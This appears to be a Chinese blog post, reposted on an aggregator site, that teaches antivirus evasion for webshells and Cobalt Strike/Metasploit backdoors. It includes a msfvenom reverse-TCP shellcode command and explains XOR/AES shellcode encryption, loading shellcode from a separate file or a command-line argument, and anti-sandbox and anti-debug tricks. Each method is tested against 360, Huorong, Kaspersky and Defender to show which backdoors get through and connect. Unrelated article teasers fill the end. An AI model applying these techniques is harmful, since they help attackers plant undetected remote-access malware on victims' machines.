实战shell免杀C2远控工具魔改(免杀日记 - 上篇)

声明:请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本博客号无关。

一、环境准备

系统:Win11物理机、Kali攻击机、4台Win10虚拟机【安装360杀毒、火绒、卡巴斯基、DF(Win自带)】
工具:CS、MSF、哥斯拉、冰蝎、Visual Studio2019
注意:
    1、找台Win10虚拟机,VM克隆成4台即可
    2、安装360杀毒、火绒、卡巴斯基的Win10记得关闭DF,以免影响后续实验效果
    3、其他杀软收费,本文章暂不考虑

二、常见杀软及特点 

1、常见杀软:360杀毒/360QVM、火绒、卡巴斯基、DF、ESET等
2、杀软原理:检测表面代码、检测行为、检测工具指纹
3、杀软特点:静态查杀、动态查杀、流量监控、行为监控

三、免杀目的 & 相关名词

1、免杀目的

代码混淆、行为隐藏、工具指纹隐藏、抗沙箱、绕流量平台

2、名词介绍
(1)ShellCode:ShellCode的本质其实就是一段可以自主运行的代码。它没有任何文件结构,它不依赖任何编译环境,无法像exe一样双击运行,因此需要通过控制程序流程跳转到shellcode地址加载上去执行shellcode。
(2)C2应用:CS(CobaltStrike)、MSF(Metasploit)、Viper、Ghost,比较小众的C2有Supershell、Manjusaka等,还有个人开发的 C2
(3)加载语言:常见的用来制作免杀语言有C/C++、C#、Powershell、Python、Go、Rust等

(4)C语言编写免杀的优势是虽然代码多、但是文件小。

          python语言编写的优势是代码少,但是文件大。

四、免杀实验

实验一:webshell免杀

1、生成web后门

使用冰蝎生成几个服务端后门,包含jsp、php、aspx,并确保后门可以正常连接。

2、正常web后门杀毒测试

(1)360杀毒:后门一上传就被杀。

(2)火绒杀毒:没有反应QAQ,火绒是免费产品中静态杀毒最差的一个。

(3)卡巴斯基:后门一上传就被杀。

(4)DF:后门一上传就被杀。

3、制作免杀web后门

(1)工具一:XG拟态Web免杀工具(狐狸工具箱自带)

工具的操作是傻瓜式的,目的都是为了混淆后门代码,从而绕过杀毒识别表面代码

免杀模板(必选)、加密密钥(选填)、模拟页面(选填),点击免杀复制下面生成的代码即可。

(2)工具二:弱鸡Webshell免杀工具(狐狸工具箱自带)

(3)其他工具,去公众号找找,然后自行斟酌!不要工具钓鱼即可。

https://github.com/rebeyond/Behinder/releases冰蝎WebShell免杀工具(支持4.0.6)https://github.com/rebeyond/Behinder/releases

4、免杀web后门杀毒测试

(1)360杀毒:【1】上传没被杀,连接后输入静态命令whoami、ipconfig不查杀!

                          【2】执行动态命令net user就被查杀了。

(2)火绒杀毒:【1】上传没被杀,连接后输入静态命令whoami、ipconfig不查杀!

                           【2】执行动态命令net user就被查杀了。

(3)卡巴斯基:【1】上传没被杀,连接后输入静态命令whoami、ipconfig被查杀!动态命令net user就更不用说了。

(4)DF:上传就被杀,只有有动静就被杀,DF是杀静态后门的神,当然比起360QVM稍微差一点,360QVM可以说是杀后门的流氓了。

小结:

a、实验一只是对表面代码进行隐藏,简单的绕过一些常见的杀毒设备,只要动态执行修改系统的命令基本被杀,只有少数团队大佬研究,才有全过的免杀后门

b、除了杀毒拦截,还有流量监控,像冰蝎、哥斯拉、蚁剑工具的指纹都会被识别。所以需要对工具进行魔改,从而绕过流量检测。

实验二:哥斯拉/冰蝎魔改

哥斯拉,冰蝎由java开发,魔改过程其实就以下几步:

(1)反编译

(2)修改指纹、添加更多的加密算法

(3)项目重新整合,运行

总结:操作简单,但是对不懂java开发的小伙伴来说很不友好。此文不讲这部分!

实验三:C2远控

1、生成cs后门(msf同理)

使用CS工具:设置监听器,选择Windows可执行程序,默认使用X64 payload,生成即可。双击运行,确认cs后门可以成功上线!

2、正常cs后门杀毒测试

(1)360杀毒:落地被杀

(2)火绒:落地被杀

(3)卡巴斯基:落地被杀

(4)DF:落地被杀

3、shellcode原理及工具

原理:shellcode   +   源码加载器   -->   成品的后门exe

免杀的操作有:shellcode进行免杀、源码加载进行免杀、成品exe进行免杀

深入理解:exe是工具自身编译直接生成的(不好控制加载器、shellcode)

                  shellcode是通过我们选择加载器编译形成exe的(可控加载器模式、shellcode内容)

工具一:cs & msf(作用:生成shellcode,后门上线)

CS生成shellcode:先使用cs生成一段比特流数据的shellcode,命名为payload.c

MSF生成shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.232.128 LPORT=1234 -f c

工具二:visual studio2019 ~ 2022(作用:将shellcode + 加载器编译生成exe)

【1】工具安装:这里不多描述,记得安装C++模块即可。

【2】工具配置:记得设置中禁止安全检查、选择多线程Mtd、关闭SDL检查、编译时选择release模式、对应shellcode的X64、X32模式,目的是防止编译的过程出现错误,不过汇编语言一般选择X32,不然编译的时候会报错。


其他分析工具:010Editor、

工具准备完成,后面就可以愉快的玩耍了。

4、制作cs免杀后门

1)ShellCode 自写打乱

ShellCod由16进制和10进制编写而成,msf、cs工具生成的shellcode一般都已经固定格式了,无论怎么样,平台、杀软都能识别,所以需要手工对shellcode进行打乱,对工具进行魔改,这样生成的shellcode就是一个新的格式,从而绕过杀软的识别。

自己手写shellcode非常难,基本没几个人能完成,有兴趣的看看大佬的文章:★pwn 手写Shellcode保姆级教程★_shellcode编写教程-CSDN博客

2)ShellCode 混肴加密 
【1】xor加密混淆

可以先使用ChatGPT生成python的xor加密算法,对我们的shellcode进行加密。

加密后的shellcode复制进我们的加载器中,最后生成exe项目。

杀软测试

360杀毒:落地被杀!静态查杀太强了。

DF:落地被杀!

卡巴斯基:落地未被杀!运行可以成功上线!执行静态命令成功!动态命令被杀!

火绒:落地被杀!火绒怎么这么强了QAQ?

【2】aes加密混淆

aes的加密脚本,这里使用c语言进行编写,代码网上搜索、GPT生成即可

生成exe执行项目,执行后获得加密后的shellcode、iv、key值。

将加密后的shellcode、iv、key值。放进shellcode加载器 + 解密代码的脚本中,生成exe后门。

360杀毒:落地被杀!

火绒:落地没反应!成功上线!静态命令、动态命令都没被拦截!火绒有时确实不给力。不过火绒的横向移动查杀能力比较厉害。

卡巴斯基:落地被杀!

DF:落地被杀

其他加密,rsa加密混淆,自行探索... ...,加密方式越小众越好!

3)ShellCode 分离隐藏

正常的加载器是加载落地的代码中的shellcode进行上线,而下面的几种采用内存加载、不落地、分离的技术上线。

【1】本地文件上线

原理:加载器加载本地文件(图片、文本等)读取其中shellcode进行上线。

读取本地文件 + xor加密算法

使用C++编写代码,打开本地文件gjc64.bin,并且读取里面的内容,下面还增加了xor解密算法。生成执行方案!

使用CS生成一个bin后缀文件。

使用010Editor编辑器将内容加密成十六进制 --> xor异或运算 --> 0x39 --> Hex勾选

将两个文件放同一级目录下,尝试执行看看能否上线,可以看到没问题。

杀软测试:

360杀毒:两个文件落地没反应,exe肯定没反应啊,这是个正常读取文件的程序。并且bin文件被我们xor加密后,杀毒没识别出来。成功连接!静态命令,动态命令都执行成功!

DF杀毒:落地未被杀!双击执行上线就被杀了!

卡巴斯基:落地未被杀!双击执行上线就被杀了!卡巴斯基动态的神啊。

火绒杀毒:火绒就不用看了,落地没反应!上线也成功了!

【2】执行参数上线

原理:加载执行文件后续的参数,参数值为shellcode进行上线

使用C++编写代码,代码和上面的一样,不过这里换成了参数的形式执行shellcode。只需将代码简单修改一下即可。生成执行方案!

将我们上面的bin文件,命令为一个参数即可。执行的时候打开cmd用exe去执行参数。可以执行可以成功上线。代码和文件没问题!

杀软测试

360杀毒:落地成功!上线成功!,但是一执行命令就被杀了,估计360反应过来了,上面的本地文件上线能成功,应该是360杀毒睡着了!

卡巴斯基杀毒:落地成功!上线失败,被杀了!!!

DF杀毒:落地成功!上线了,但是过一会还是被杀了!!!

火绒杀毒:还是火绒友好啊!落地、上线成功!静态、动态命令执行成功!

【3】http访问上线(免杀安全 中篇讲解)

原理:加载器访问网站(web、http协议)下面的文件shellcode进行上线

【4】socket管道上线(免杀安全 中篇讲解)

原理:客户端去发送shellcode到服务端,服务端去接受shellcode进行上线

4)ShellCode 注入回调(免杀安全 中篇讲解)
5)以上技术的混合使用

5、常见加载器技术

下面总结的加载器,生成的都是过不了杀软的,需要进一步利用!

常见加载器技术:创建堆加载、创建线程加载、动态api加载、动态api加载_x64、函数指针加载、回调函数加载、进程镂空注入、内联汇编加载、线程池等待加载、资源节加载、APC加载、Debug、Dll镂空注入、SEH加载、shellcode加载器、TLS加载、UUID加载、x64

1)回调函数加载

原理:通过代码的不断回调加载,把杀软绕晕。

shellcode + 回调函数加载 后的木马,可以成功上线,不过太直白会被杀毒!其他加载器同理!

2)资源节加载

原理:正常shellcode是写到代码中,而资源加载时将shellcode写到资源中,然后用代码去加载从而尝试绕过杀毒。

3)其他原理自行找度娘

实验四:抗沙箱沙盒/防调试

生成一个xor加密后的exe,测试能够正常上线。

将之前加密后cs的exe后门丢进微步云沙箱:https://s.threatbook.com/ 看看结果,报病毒了!

在原来的xor加密中增加防逆向调试代码、防沙箱检测代码。【使用ChatGPT写或者百度:C++防逆向调试的代码怎么写?】

下面的代码和xor加密一样,生成的exe落地,物理机的360杀毒未识别。

再丢进微步云沙箱:https://s.threatbook.com/ 看看效果,颜色是不是比刚刚好看多了

结果:将exe丢进虚拟机的360杀毒、卡巴斯基、火绒均没反应,DF识别出来了。但是虚拟机内执行不了了,因为我们的代码中加了防调试,虚拟机环境内被代码检测出来了,所以无法上线成功。不过这也是绕过杀毒的原因之一,防止杀毒逆向调试从而成功绕过!

五、总结

1、上面实验内容并不多,但是工具的使用、环境的安装、代码的排错够新手玩上几天了。

2、绕过杀毒软件的本质就是防止被杀毒库匹配,代码、工具指纹等等!

3、一个好的免杀,一定具备了多方面的性能:防杀软、绕过流量平台、防沙箱、防逆向调试后依然能够正常运行上线!

4、此文章分上 、 中  、下,未完待续... ...

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/681398.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

揭秘成都跃享未来教育:安全靠谱,打造教育新未来?

在当今这个信息爆炸的时代,教育行业的变革日新月异,各种教育机构如雨后春笋般涌现。其中,成都跃享未来教育咨询有限公司以其独特的教育理念和创新的教学模式,吸引了众多家长和学生的目光。那么,这家公司到底安不安全&a…

这款国内版Bookstack平替也很好用

对于企业、团队或个人来说,一个高效、易用的知识库系统就是提升工作效率和团队协作的利器。一款国内版的BookStack平替——HelpLook AI知识库,它不仅功能强大,而且操作简单,对于国内使用者来说刚刚好,跟着LookLook同学…

c++ - 模板(二)

文章目录 一、模板参数缺省值二、非类型模板参数三、模板的特化四、模板的分离编译 一、模板参数缺省值 给模板初始值与给函数初始值类似&#xff0c;当需要给一部分缺省值时&#xff0c;参数缺省值必须从右向左给&#xff0c;中间不能留着参数不给缺省值。 template< cla…

Ubuntu系统装显卡驱动

英文地址&#xff1a;https://www.nvidia.com/Download/Find.aspx?langen-us# 中文地址&#xff1a;https://www.nvidia.cn/Download/index.aspx?langcn# sudo apt-get updatesudo apt-get install gsudo apt-get install gccsudo apt-get install makesudo gedit /etc/modp…

圈子社区系统源码 开源 多端圈子社区论坛系统 社区圈子管理系统

介绍 圈子论坛小程序&#xff0c;是一款为用户提供交流分享、互动沟通的平台。在这个小程序中&#xff0c;用户可以轻松地加入各种不同兴趣爱好的圈子&#xff0c;与志同道合的朋友们交流互动。圈子论坛小程序不仅仅是一个简单的社交工具&#xff0c;更是一个打开新世界大门的…

Mybatis不明白?就这一篇带你轻松入门

引言&#xff1a;烧脑的我一直在烧脑的寻找资料&#xff0c;寻找网课&#xff0c;历经磨难让一个在大一期间只会算法的我逐渐走入Java前后端开发&#xff0c;也是一直在自学的道路上磕磕碰碰&#xff0c;也希望这篇文章对于也是同处于自学的你有所帮助&#xff0c;也希望你继续…

MyBatis框架——快速入门

MyBatis 是一款优秀的持久层框架&#xff0c;用于简化JDBC开发 MyBatis 本是Apache 的一个开源项目iBatis,2010年这个项目由apache softwarefoundation 迁移到了google code&#xff0c;并且改名为MyBatis 。2013年11月迁移到Github 官网: https://mybatis.org/mybatis-3/zh/…

初识C++ · 优先级队列

目录 前言&#xff1a; 1 优先级队列的使用 2 优先级队列的实现 3 仿函数 前言&#xff1a; 栈和队列相对其他容器来说是比较简单的&#xff0c;在stl里面&#xff0c;有一种容器适配器是优先级队列&#xff08;priority_queue&#xff09;&#xff0c;它也是个队列&#…

连锁门面电能监测系统是什么?

1.什么叫连锁门面电能监测系统 连锁门面电能监测系统是一种前沿的能源管理体系系统&#xff0c;针对连锁加盟店铺的电力应用情况进行实时监控及管理。这类系统根据集成化硬件配置和软件系统&#xff0c;能够帮助企业管理人员获得每个门店的电力耗费数据信息&#xff0c;进而实…

企业文件加密:数据保护的实战策略

数据是企业的生命线&#xff0c;保护数据安全就是保护企业的竞争力。在众多数据保护措施中&#xff0c;文件加密因其直接有效而备受青睐。 一、为何文件加密至关重要 在数字化办公时代&#xff0c;企业机密和敏感数据的泄露可能带来毁灭性的后果。文件加密能够确保即使数据被盗…

费效看板,YonSuite商旅费控助力企业“消灭报销”

在快速变化的商业环境中&#xff0c;差旅费用作为企业运营成本的重要组成部分&#xff0c;其管理和控制日益受到企业的重视。传统的报销流程繁琐、效率低下&#xff0c;不仅增加了企业的管理成本&#xff0c;也影响了员工的差旅体验。YonSuite商旅费控系统以其费效看板功能为核…

区间预测 | Matlab实现QRCNN-BiGRU-Attention分位数回归卷积双向门控循环单元注意力机制时序区间预测

区间预测 | Matlab实现QRCNN-BiGRU-Attention分位数回归卷积双向门控循环单元注意力机制时序区间预测 目录 区间预测 | Matlab实现QRCNN-BiGRU-Attention分位数回归卷积双向门控循环单元注意力机制时序区间预测效果一览基本介绍程序设计参考资料 效果一览 基本介绍 1.Matlab实…

磁盘未格式化:深度解析、恢复方案及预防之道

在当今这个信息化爆炸的时代&#xff0c;磁盘未格式化问题无疑成为了众多用户头疼的难题。当我们的存储设备突然提示“磁盘未格式化”时&#xff0c;数据的丢失与恢复的挑战便摆在了我们面前。本文将深入解析磁盘未格式化的现象、原因&#xff0c;并给出两种有效的数据恢复方案…

Master-Worker 架构的灰度发布难题

作者&#xff1a;石超 一、前言 Master-Worker 架构是成熟的分布式系统设计模式&#xff0c;具有集中控制、资源利用率高、容错简单等优点。我们数据中心内的几乎所有分布式系统都采用了这样的架构。 &#xfeff; 我们曾经发生过级联故障&#xff0c;造成了整个集群范围的服…

创建 MFC DLL-使用DEF文件

本文仅供学习交流&#xff0c;严禁用于商业用途&#xff0c;如本文涉及侵权请及时联系本人将于及时删除 利用“MFC动态链接库”项目模板可以创建MFC DLL。DLL文件与可执行文件非常相似&#xff0c;不同点在于DLL包含有导出表(Export Table)。导出表包含DLL中每个导出函数的名字…

实时库存同步与并发控制:确保在线扭蛋机商品库存的实时准确性

随着电商的飞速发展&#xff0c;在线扭蛋机作为一种新兴的销售模式&#xff0c;受到了广大消费者的喜爱。然而&#xff0c;如何在大量用户同时购买时&#xff0c;确保库存信息的实时性和准确性&#xff0c;成为了摆在商家面前的一大挑战。本文将探讨如何设计一个高效且准确的库…

鸿蒙轻内核M核源码分析系列四 中断Hwi

在鸿蒙轻内核源码分析系列前几篇文章中&#xff0c;剖析了重要的数据结构。本文&#xff0c;我们讲述一下中断&#xff0c;会给读者介绍中断的概念&#xff0c;鸿蒙轻内核的中断模块的源代码。本文中所涉及的源码&#xff0c;以OpenHarmony LiteOS-M内核为例。 1、中断概念介绍…

连锁酒店水电监测管理系统

1.前言&#xff1a; 连锁酒店水电监测管理系统是当代酒店业中不可或缺智能化专用工具&#xff0c;主要是通过实时监控系统和数据分析&#xff0c;完成了对酒店电力能源所使用的精益化管理&#xff0c;减少了经营成本&#xff0c;提高了服务水平&#xff0c;并且也响应了绿色环…

centos7安装 hadoop集群

目录 准备集群搭建步骤1. 环境准备三台服务器IP关闭三台服务器的防火墙修改三台服务器的hostname文件修改三台服务器的hosts映射配置三台服务器之间的免密登录三台时间同步设置 2. hadoop安装资源划分3. 开始搭建hadoop集群192.168.83.144 即 hadoop1上的修改解压安装包添加环境…

R可视化:可发表的热图

当使用pheatmap包在R语言中实现不同组间的基因表达热图时,我们通常遵循以下步骤: 步骤 1: 加载所需的库首先,我们需要加载pheatmap包以及可能需要的其他包,如dplyr或tidyverse,用于数据预处理。 步骤 2: 准备数据我们需要一个基因表达矩阵,其中行代表基因,列代表样本,每…